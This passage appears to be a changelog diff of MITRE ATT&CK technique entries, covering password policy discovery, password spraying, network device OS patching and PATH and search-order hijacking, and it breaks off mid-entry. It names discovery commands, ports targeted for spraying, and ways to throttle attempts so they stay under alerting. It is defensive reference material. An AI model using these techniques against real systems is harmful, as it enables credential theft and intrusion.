| > | Brute Force](https://attack.mitre.org/techniques/T1110). Thi | > | Brute Force](https://attack.mitre.org/techniques/T1110). Thi | ||
| > | s information may help the adversary to create a list of com | > | s information may help the adversary to create a list of com | ||
| > | mon passwords and launch dictionary and/or brute force attac | > | mon passwords and launch dictionary and/or brute force attac | ||
| > | ks which adheres to the policy (e.g. if the minimum password | > | ks which adhere to the policy (e.g. if the minimum password | ||
| > | length should be 8, then not trying passwords such as 'pass | > | length should be 8, then not trying passwords such as 'pass1 | ||
| > | 123'; not checking for more than 3-4 passwords per account i | > | 23'; not checking for more than 3-4 passwords per account if | ||
| > | f the lockout is set to 6 as to not lock out accounts). Pas | > | the lockout is set to 6 as to not lock out accounts). Pass | ||
| > | sword policies can be set and discovered on Windows, Linux, | > | word policies can be set and discovered on Windows, Linux, a | ||
| > | and macOS systems via various command shell utilities such a | > | nd macOS systems via various command shell utilities such as | ||
| > | s <code>net accounts (/domain)</code>, <code>Get-ADDefaultDo | > | <code>net accounts (/domain)</code>, <code>Get-ADDefaultDom | ||
| > | mainPasswordPolicy</code>, <code>chage -l <username></code>, | > | ainPasswordPolicy</code>, <code>chage -l <username></code>, | ||
| > | <code>cat /etc/pam.d/common-password</code>, and <code>pwpo | > | <code>cat /etc/pam.d/common-password</code>, and <code>pwpol | ||
| > | licy getaccountpolicies</code> (Citation: Superuser Linux Pa | > | icy getaccountpolicies</code>.(Citation: Superuser Linux Pas | ||
| > | ssword Policies) (Citation: Jamf User Password Policies). Ad | > | sword Policies)(Citation: Jamf User Password Policies) Adver | ||
| > | versaries may also leverage a [Network Device CLI](https://a | > | saries may also leverage a [Network Device CLI](https://atta | ||
| > | ttack.mitre.org/techniques/T1059/008) on network devices to | > | ck.mitre.org/techniques/T1059/008) on network devices to dis | ||
| > | discover password policy information (e.g. <code>show aaa</c | > | cover password policy information (e.g. <code>show aaa</code | ||
| > | ode>, <code>show aaa common-criteria policy all</code>).(Cit | > | >, <code>show aaa common-criteria policy all</code>).(Citati | ||
| > | ation: US-CERT-TA18-106A) Password policies can be discover | > | on: US-CERT-TA18-106A) Password policies can be discovered | ||
| > | ed in cloud environments using available APIs such as <code> | > | in cloud environments using available APIs such as <code>Get | ||
| > | GetAccountPasswordPolicy</code> in AWS (Citation: AWS GetPas | > | AccountPasswordPolicy</code> in AWS.(Citation: AWS GetPasswo | ||
| > | swordPolicy). | > | rdPolicy) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:15.781000+00:00 | 2026-11-04 03:17:41.090000+00:00 |
| description | Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies). Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)
Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy). | Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adhere to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies.(Citation: Superuser Linux Password Policies)(Citation: Jamf User Password Policies) Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to discover password policy information (e.g. show aaa, show aaa common-criteria policy all).(Citation: US-CERT-TA18-106A)
Password policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS.(Citation: AWS GetPasswordPolicy) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.8
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use a single or small list of commonly used | t | 1 | Adversaries may use a single or small list of commonly used |
| > | passwords against many different accounts to attempt to acqu | > | passwords against many different accounts to attempt to acqu | ||
| > | ire valid account credentials. Password spraying uses one pa | > | ire valid account credentials. Password spraying uses one pa | ||
| > | ssword (e.g. 'Password01'), or a small list of commonly used | > | ssword (e.g. 'Password01'), or a small list of commonly used | ||
| > | passwords, that may match the complexity policy of the doma | > | passwords, that may match the complexity policy of the doma | ||
| > | in. Logins are attempted with that password against many dif | > | in. Logins are attempted with that password against many dif | ||
| > | ferent accounts on a network to avoid account lockouts that | > | ferent accounts on a network to avoid account lockouts that | ||
| > | would normally occur when brute forcing a single account wit | > | would normally occur when brute forcing a single account wit | ||
| > | h many passwords. (Citation: BlackHillsInfosec Password Spra | > | h many passwords.(Citation: BlackHillsInfosec Password Spray | ||
| > | ying) Typically, management services over commonly used por | > | ing) Typically, management services over commonly used port | ||
| > | ts are used when password spraying. Commonly targeted servic | > | s are used when password spraying. Commonly targeted service | ||
| > | es include the following: * SSH (22/TCP) * Telnet (23/TCP) | > | s include the following: * SSH (22/TCP) * Telnet (23/TCP) * | ||
| > | * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * | > | FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * | ||
| > | LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Service | > | LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services | ||
| > | s (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/T | > | (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TC | ||
| > | CP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP | > | P) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) | ||
| > | ) * VNC (5900/TCP) In addition to management services, adve | > | * VNC (5900/TCP) In addition to management services, adver | ||
| > | rsaries may "target single sign-on (SSO) and cloud-based app | > | saries may "target single sign-on (SSO) and cloud-based appl | ||
| > | lications utilizing federated authentication protocols," as | > | ications utilizing federated authentication protocols," as w | ||
| > | well as externally facing email applications, such as Office | > | ell as externally facing email applications, such as Office | ||
| > | 365.(Citation: US-CERT TA18-068A 2018) In order to avoid d | > | 365.(Citation: US-CERT TA18-068A 2018) In order to avoid de | ||
| > | etection thresholds, adversaries may deliberately throttle p | > | tection thresholds, adversaries may deliberately throttle pa | ||
| > | assword spraying attempts to avoid triggering security alert | > | ssword spraying attempts to avoid triggering security alerti | ||
| > | ing. Additionally, adversaries may leverage LDAP and Kerbero | > | ng. Additionally, adversaries may leverage LDAP and Kerberos | ||
| > | s authentication attempts, which are less likely to trigger | > | authentication attempts, which are less likely to trigger h | ||
| > | high-visibility events such as Windows "logon failure" event | > | igh-visibility events such as Windows "logon failure" event | ||
| > | ID 4625 that is commonly triggered by failed SMB connection | > | ID 4625 that is commonly triggered by failed SMB connection | ||
| > | attempts.(Citation: Microsoft Storm-0940) | > | attempts.(Citation: Microsoft Storm-0940) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:53.996000+00:00 | 2026-11-04 00:27:49.030000+00:00 |
| description | Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) In order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows "logon failure" event ID 4625 that is commonly triggered by failed SMB connection attempts.(Citation: Microsoft Storm-0940) | Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords.(Citation: BlackHillsInfosec Password Spraying) Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) In order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows "logon failure" event ID 4625 that is commonly triggered by failed SMB connection attempts.(Citation: Microsoft Storm-0940) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Trimarc Detecting Password Spraying', 'description': 'Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password Spraying with Security Event Auditing. Retrieved January 16, 2019.', 'url': 'https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing'} |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify the operating system of a network dev | t | 1 | Adversaries may modify the operating system of a network dev |
| > | ice to introduce new capabilities or weaken existing defense | > | ice to introduce new capabilities or weaken existing defense | ||
| > | s.(Citation: Killing the myth of Cisco IOS rootkits) (Citati | > | s.(Citation: Killing the myth of Cisco IOS rootkits)(Citatio | ||
| > | on: Killing IOS diversity myth) (Citation: Cisco IOS Shellco | > | n: Killing IOS diversity myth)(Citation: Cisco IOS Shellcode | ||
| > | de) (Citation: Cisco IOS Forensics Developments) (Citation: | > | )(Citation: Cisco IOS Forensics Developments)(Citation: Juni | ||
| > | Juniper Netscreen of the Dead) Some network devices are buil | > | per Netscreen of the Dead) Some network devices are built wi | ||
| > | t with a monolithic architecture, where the entire operating | > | th a monolithic architecture, where the entire operating sys | ||
| > | system and most of the functionality of the device is conta | > | tem and most of the functionality of the device is contained | ||
| > | ined within a single file. Adversaries may change this file | > | within a single file. Adversaries may change this file in | ||
| > | in storage, to be loaded in a future boot, or in memory dur | > | storage, to be loaded in a future boot, or in memory during | ||
| > | ing runtime. To change the operating system in storage, the | > | runtime. To change the operating system in storage, the adv | ||
| > | adversary will typically use the standard procedures availa | > | ersary will typically use the standard procedures available | ||
| > | ble to device operators. This may involve downloading a new | > | to device operators. This may involve downloading a new file | ||
| > | file via typical protocols used on network devices, such as | > | via typical protocols used on network devices, such as TFTP | ||
| > | TFTP, FTP, SCP, or a console connection. The original file | > | , FTP, SCP, or a console connection. The original file may | ||
| > | may be overwritten, or a new file may be written alongside o | > | be overwritten, or a new file may be written alongside of it | ||
| > | f it and the device reconfigured to boot to the compromised | > | and the device reconfigured to boot to the compromised imag | ||
| > | image. To change the operating system in memory, the advers | > | e. To change the operating system in memory, the adversary | ||
| > | ary typically can use one of two methods. In the first, the | > | typically can use one of two methods. In the first, the adve | ||
| > | adversary would make use of native debug commands in the ori | > | rsary would make use of native debug commands in the origina | ||
| > | ginal, unaltered running operating system that allow them to | > | l, unaltered running operating system that allow them to dir | ||
| > | directly modify the relevant memory addresses containing th | > | ectly modify the relevant memory addresses containing the ru | ||
| > | e running operating system. This method typically requires | > | nning operating system. This method typically requires admi | ||
| > | administrative level access to the device. In the second me | > | nistrative level access to the device. In the second method | ||
| > | thod for changing the operating system in memory, the advers | > | for changing the operating system in memory, the adversary | ||
| > | ary would make use of the boot loader. The boot loader is th | > | would make use of the boot loader. The boot loader is the fi | ||
| > | e first piece of software that loads when the device starts | > | rst piece of software that loads when the device starts that | ||
| > | that, in turn, will launch the operating system. Adversarie | > | , in turn, will launch the operating system. Adversaries ma | ||
| > | s may use malicious code previously implanted in the boot lo | > | y use malicious code previously implanted in the boot loader | ||
| > | ader, such as through the [ROMMONkit](https://attack.mitre.o | > | , such as through the [ROMMONkit](https://attack.mitre.org/t | ||
| > | rg/techniques/T1542/004) method, to directly manipulate runn | > | echniques/T1542/004) method, to directly manipulate running | ||
| > | ing operating system code in memory. This malicious code in | > | operating system code in memory. This malicious code in the | ||
| > | the bootloader provides the capability of direct memory man | > | bootloader provides the capability of direct memory manipul | ||
| > | ipulation to the adversary, allowing them to patch the live | > | ation to the adversary, allowing them to patch the live oper | ||
| > | operating system during runtime. By modifying the instructi | > | ating system during runtime. By modifying the instructions | ||
| > | ons stored in the system image file, adversaries may either | > | stored in the system image file, adversaries may either weak | ||
| > | weaken existing defenses or provision new capabilities that | > | en existing defenses or provision new capabilities that the | ||
| > | the device did not have before. Examples of existing defense | > | device did not have before. Examples of existing defenses th | ||
| > | s that can be impeded include encryption, via [Weaken Encryp | > | at can be impeded include encryption, via [Weaken Encryption | ||
| > | tion](https://attack.mitre.org/techniques/T1600), authentica | > | ](https://attack.mitre.org/techniques/T1600), authentication | ||
| > | tion, via [Network Device Authentication](https://attack.mit | > | , via [Network Device Authentication](https://attack.mitre.o | ||
| > | re.org/techniques/T1556/004), and perimeter defenses, via [N | > | rg/techniques/T1556/004), and perimeter defenses, via [Netwo | ||
| > | etwork Boundary Bridging](https://attack.mitre.org/technique | > | rk Boundary Bridging](https://attack.mitre.org/techniques/T1 | ||
| > | s/T1599). Adding new capabilities for the adversary’s purpo | > | 599). Adding new capabilities for the adversary’s purpose i | ||
| > | se include [Keylogging](https://attack.mitre.org/techniques/ | > | nclude [Keylogging](https://attack.mitre.org/techniques/T105 | ||
| > | T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techn | > | 6/001), [Multi-hop Proxy](https://attack.mitre.org/technique | ||
| > | iques/T1090/003), and [Port Knocking](https://attack.mitre.o | > | s/T1090/003), and [Port Knocking](https://attack.mitre.org/t | ||
| > | rg/techniques/T1205/001). Adversaries may also compromise e | > | echniques/T1205/001). Adversaries may also compromise exist | ||
| > | xisting commands in the operating system to produce false ou | > | ing commands in the operating system to produce false output | ||
| > | tput to mislead defenders. When this method is used in con | > | to mislead defenders. When this method is used in conjunc | ||
| > | junction with [Downgrade System Image](https://attack.mitre. | > | tion with [Downgrade System Image](https://attack.mitre.org/ | ||
| > | org/techniques/T1601/002), one example of a compromised syst | > | techniques/T1601/002), one example of a compromised system c | ||
| > | em command may include changing the output of the command th | > | ommand may include changing the output of the command that s | ||
| > | at shows the version of the currently running operating syst | > | hows the version of the currently running operating system. | ||
| > | em. By patching the operating system, the adversary can cha | > | By patching the operating system, the adversary can change | ||
| > | nge this command to instead display the original, higher rev | > | this command to instead display the original, higher revisio | ||
| > | ision number that they replaced through the system downgrade | > | n number that they replaced through the system downgrade. | ||
| > | . When the operating system is patched in storage, this ca | > | When the operating system is patched in storage, this can be | ||
| > | n be achieved in either the resident storage (typically a fo | > | achieved in either the resident storage (typically a form o | ||
| > | rm of flash memory, which is non-volatile) or via [TFTP Boot | > | f flash memory, which is non-volatile) or via [TFTP Boot](ht | ||
| > | ](https://attack.mitre.org/techniques/T1542/005). When the | > | tps://attack.mitre.org/techniques/T1542/005). When the tec | ||
| > | technique is performed on the running operating system in m | > | hnique is performed on the running operating system in memor | ||
| > | emory and not on the stored copy, this technique will not su | > | y and not on the stored copy, this technique will not surviv | ||
| > | rvive across reboots. However, live memory modification of | > | e across reboots. However, live memory modification of the | ||
| > | the operating system can be combined with [ROMMONkit](https: | > | operating system can be combined with [ROMMONkit](https://at | ||
| > | //attack.mitre.org/techniques/T1542/004) to achieve persiste | > | tack.mitre.org/techniques/T1542/004) to achieve persistence. | ||
| > | nce. | > | |||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.717000+00:00 | 2026-11-04 01:10:20.711000+00:00 |
| description | Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime. To change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image. To change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device. In the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime. By modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). Adding new capabilities for the adversary’s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001). Adversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. When the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. | Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits)(Citation: Killing IOS diversity myth)(Citation: Cisco IOS Shellcode)(Citation: Cisco IOS Forensics Developments)(Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime. To change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image. To change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device. In the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime. By modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via [Weaken Encryption](https://attack.mitre.org/techniques/T1600), authentication, via [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004), and perimeter defenses, via [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599). Adding new capabilities for the adversary’s purpose include [Keylogging](https://attack.mitre.org/techniques/T1056/001), [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001). Adversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. When the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking environment variables used to load libraries. The PATH | > | cking environment variables used to load libraries. The PATH | ||
| > | environment variable contains a list of directories (User a | > | environment variable contains a list of directories (User a | ||
| > | nd System) that the OS searches sequentially through in sear | > | nd System) that the OS searches sequentially through in sear | ||
| > | ch of the binary that was called from a script or the comman | > | ch of the binary that was called from a script or the comman | ||
| > | d line. Adversaries can place a malicious program in an ea | > | d line. Adversaries can place a malicious program in an ea | ||
| > | rlier entry in the list of directories stored in the PATH en | > | rlier entry in the list of directories stored in the PATH en | ||
| > | vironment variable, resulting in the operating system execut | > | vironment variable, resulting in the operating system execut | ||
| > | ing the malicious binary rather than the legitimate binary w | > | ing the malicious binary rather than the legitimate binary w | ||
| > | hen it searches sequentially through that PATH listing. For | > | hen it searches sequentially through that PATH listing. For | ||
| > | example, on Windows if an adversary places a malicious prog | > | example, on Windows if an adversary places a malicious prog | ||
| > | ram named "net.exe" in `C:\example path`, which by default p | > | ram named "net.exe" in `C:\example path`, which by default p | ||
| > | recedes `C:\Windows\system32\net.exe` in the PATH environmen | > | recedes `C:\Windows\system32\net.exe` in the PATH environmen | ||
| > | t variable, when "net" is executed from the command-line the | > | t variable, when "net" is executed from the command-line the | ||
| > | `C:\example path` will be called instead of the system's le | > | `C:\example path` will be called instead of the system's le | ||
| > | gitimate executable at `C:\Windows\system32\net.exe`. Some m | > | gitimate executable at `C:\Windows\system32\net.exe`. Some m | ||
| > | ethods of executing a program rely on the PATH environment v | > | ethods of executing a program rely on the PATH environment v | ||
| > | ariable to determine the locations that are searched when th | > | ariable to determine the locations that are searched when th | ||
| > | e path for the program is not given, such as executing progr | > | e path for the program is not given, such as executing progr | ||
| > | ams from a [Command and Scripting Interpreter](https://attac | > | ams from a [Command and Scripting Interpreter](https://attac | ||
| > | k.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env | > | k.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env | ||
| > | Windows 2021) Adversaries may also directly modify the $PA | > | Windows 2021) Adversaries may also directly modify the $PA | ||
| > | TH variable specifying the directories to be searched. An a | > | TH variable specifying the directories to be searched. An a | ||
| > | dversary can modify the `$PATH` variable to point to a direc | > | dversary can modify the `$PATH` variable to point to a direc | ||
| > | tory they have write access. When a program using the $PATH | > | tory to which they have write access. When a program using t | ||
| > | variable is called, the OS searches the specified directory | > | he $PATH variable is called, the OS searches the specified d | ||
| > | and executes the malicious binary. On macOS, this can also b | > | irectory and executes the malicious binary. On macOS, this c | ||
| > | e performed through modifying the $HOME variable. These vari | > | an also be performed through modifying the $HOME variable. T | ||
| > | ables can be modified using the command-line, launchctl, [Un | > | hese variables can be modified using the command-line, launc | ||
| > | ix Shell Configuration Modification](https://attack.mitre.or | > | hctl, [Unix Shell Configuration Modification](https://attack | ||
| > | g/techniques/T1546/004), or modifying the `/etc/paths.d` fol | > | .mitre.org/techniques/T1546/004), or modifying the `/etc/pat | ||
| > | der contents.(Citation: uptycs Fake POC linux malware 2023)( | > | hs.d` folder contents.(Citation: uptycs Fake POC linux malwa | ||
| > | Citation: nixCraft macOS PATH variables)(Citation: Elastic R | > | re 2023)(Citation: nixCraft macOS PATH variables)(Citation: | ||
| > | ules macOS launchctl 2022) | > | Elastic Rules macOS launchctl 2022) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.620000+00:00 | 2026-11-03 19:48:13.031000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing. For example, on Windows if an adversary places a malicious program named "net.exe" in `C:\example path`, which by default precedes `C:\Windows\system32\net.exe` in the PATH environment variable, when "net" is executed from the command-line the `C:\example path` will be called instead of the system's legitimate executable at `C:\Windows\system32\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021) Adversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022) | Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing. For example, on Windows if an adversary places a malicious program named "net.exe" in `C:\example path`, which by default precedes `C:\Windows\system32\net.exe` in the PATH environment variable, when "net" is executed from the command-line the `C:\example path` will be called instead of the system's legitimate executable at `C:\Windows\system32\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021) Adversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory to which they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the search order used to load other programs. Because | > | cking the search order used to load other programs. Because | ||
| > | some programs do not call other programs using the full path | > | some programs do not call other programs using the full path | ||
| > | , adversaries may place their own file in the directory wher | > | , adversaries may place their own file in the directory wher | ||
| > | e the calling program is located, causing the operating syst | > | e the calling program is located, causing the operating syst | ||
| > | em to launch their malicious software at the request of the | > | em to launch their malicious software at the request of the | ||
| > | calling program. Search order hijacking occurs when an adve | > | calling program. Search order hijacking occurs when an adve | ||
| > | rsary abuses the order in which Windows searches for program | > | rsary abuses the order in which Windows searches for program | ||
| > | s that are not given a path. Unlike [DLL](https://attack.mit | > | s that are not given a path. Unlike [DLL](https://attack.mit | ||
| > | re.org/techniques/T1574/001) search order hijacking, the sea | > | re.org/techniques/T1574/001) search order hijacking, the sea | ||
| > | rch order differs depending on the method that is used to ex | > | rch order differs depending on the method that is used to ex | ||
| > | ecute the program. (Citation: Microsoft CreateProcess) (Cita | > | ecute the program.(Citation: Microsoft CreateProcess)(Citati | ||
| > | tion: Windows NT Command Shell) (Citation: Microsoft WinExec | > | on: Windows NT Command Shell)(Citation: Microsoft WinExec) H | ||
| > | ) However, it is common for Windows to search in the directo | > | owever, it is common for Windows to search in the directory | ||
| > | ry of the initiating program before searching through the Wi | > | of the initiating program before searching through the Windo | ||
